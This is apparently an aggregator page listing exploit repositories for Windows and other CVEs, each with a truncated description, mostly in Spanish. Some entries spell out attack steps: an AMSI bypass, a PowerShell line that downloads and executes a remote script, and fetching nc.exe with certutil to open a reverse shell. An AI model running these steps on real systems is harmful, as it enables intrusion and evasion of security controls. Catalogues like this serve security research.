forti_shield

fortishield Un POC combinado para CVE-2021-31955, CVE-2015-4077 y CVE-2015-5736 Esta es una de las posibles soluciones para la milla extra en la versión 2022 del curso EXP-401. Esta milla extra fue eliminada en la versión 2025 del curso. Esta solución no funcionará para la milla extra actual sin...

CVE-2019-0232

Exploit RCE CGI PoC para RCE no autenticado a través de endpoints CGI batch. Descarga nc.exe en el objetivo usando certutil y desencadena una reverse shell. Configuración 1. Servir nc.exe en el mismo directorio donde esté nc.exe: root@kitploit: python3 -m http.server 80 2. Inicia tu listener:...

CVE-2024-26229-BOF

CVE-2024-26229 BOF Beacon Object File implementation of CVE-2024-26229 — Windows CSC driver local privilege escalation via DKOM token theft. Based on RalfHacker/CVE-2024-26229-exploit, converted to BOF with Dynamic Function Resolution DFR for use with C2 frameworks that support the Cobalt Strike...

ShieldBreak

ShieldBreak - Windows Defender 0day vulnerability Microsoft has failed to properly patch the RoguePlanet vulnerability CVE-2026-50656, this PoC demonstrates a full patch bypass. The PoC was tested in the latest version of windows 11 25h2 +Canary channel and windows server 2025, the PoC also have ...

Crow-Eye v0.13.0

Crow-Eye — Windows Forensics Engine A forensic time machine for Windows. Crow-Eye doesn't just detect — it reconstructs what actually happened on the timeline, from acquisition all the way to a verdict traceable to its source records. Table of Contents Overview ✨ Highlights 👥 Who Crow-Eye Is For ...

Windows-Defender-Security-Auditor-CVE-2026-50656-

Windows Defender Security Auditor Enterprise-Grade Windows Security Posture & Threat-Hunting Assessment Tool Developed byAmish Kumar — Security Researcher / Security Engineer CVE-2026-50656 Overview Windows Defender Security Auditor is a comprehensive, non-intrusive PowerShell-based security...

CVE-2022-30190

CVE-2022-30190 El lunes 30 de mayo de 2022, Microsoft publicó el CVE-2022-30190 sobre la vulnerabilidad de la Herramienta de diagnóstico y soporte de Microsoft MSDT en Windows. Existe una vulnerabilidad de ejecución remota de código cuando se llama a MSDT mediante el protocolo URL desde una...

BadBlue

BadBlue Windows CVE-2024-21306 implementación de BadBlue usando DuckyScript Emparejamiento no autenticado que conduce a la ejecución de código usando teclado HID Esta es una implementación del CVE descubierto por marcnewlin Y algo de código de BlueDucky Introducción BadBlue es una herramienta...

SysTracingPoc

SysTracingPoc CVE-2020-0668 - Vulnerabilidad de escalada de privilegios local por movimiento arbitrario de archivos en el seguimiento de servicios de Microsoft Windows Para más información: https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/...

nimbuspwn-CVE-2022-29800-CVE-2022-29799

nimbuspwn-CVE-2022-29800-CVE-2022-29799...

Penetration-Testing-Assessment-23-04-2026

Informe de Pruebas de Penetración – Explotación de IIS WebDAV Resumen Este proyecto demuestra un ciclo de vida completo de pruebas de penetración realizado en un sistema objetivo vulnerable. La evaluación sigue un enfoque estructurado que incluye reconocimiento, escaneo, enumeración, explotación ...

CVE-2022-37969

CVE-2022-37969 CVE-2022-37969 poc win10 21h2 19044.1766 win11 21h2 22000.918 Información básica de compilación Versión del Windows SDK ：10.0 última versión instalada Conjunto de herramientas de plataforma: Visual Studio 2022 v143 Estándar del lenguaje C++ : Predeterminado estándar ISO C++14...

Windows-Exploitation-Web-Server-Tomcat-8.5.39-CVE-2019-0232

This repository does not have a README...

CVE-2018-8410

CVE-2018-8410 PoC para la vulnerabilidad de elevación de privilegios del registro del kernel de Windows...

cve-2021-1675

cve-2021-1675 deshabilitar amsi: copiar en powershell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt ejecutar invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' crear cuenta de...

printDemon2system

printDemon2system CVE-2020-1048 Escalada de privilegios de PrintDemon a SYSTEM PrintDemon era una vulnerabilidad lógica en el servicio Windows Print Spooler spoolsv.exe. La vulnerabilidad residía en la forma en que el spooler manejaba los trabajos de impresión a archivos y, al ser explotada,...

Java-Shellcode-Loader

Java ShellCode Loader A ShellCode loader implemented in Java, compatible with 32-bit and 64-bit platforms. The core principle is to use Jna to call Windows APIs to achieve shellcode injection. Runtime environment: Jre = 1.5 Note: This project is already integrated into the ShellCodeLoader module ...

Nim_DInvoke

Nim DInvoke D/Invoke implementation in Nim All Nim binaries typically expose the same 58-60 Windows API functions: All other Windows API functions are typically resolved on runtime via GetProcAddress and LoadLibraryA as mentioned in OffensiveNim or this blog post. So, it's not possible to hide AP...

SharpWnfSuite

SharpWnfSuite This is the repository for Windows Notification Facility WNF tools. Currently, a C port of the tools in wnfun developed by Alex Ionescu @aionescu and Gabrielle Viala @pwissenlit has been uploaded. When I develop additional tools for Windows Notification Facility, they will be upload...

DogWalk-rce-poc

Dogwalk Proof-of-Concept🐾 root@kitploit: 🚨 Disclaimer 🚨 The PoC allows an attacker to obtain on a Windows victim device. The goal of this repo is to make a PoC even more usable than the a href= repo. DO NOT USE IT WITHOUT PRIOR AUTHORIZATION!...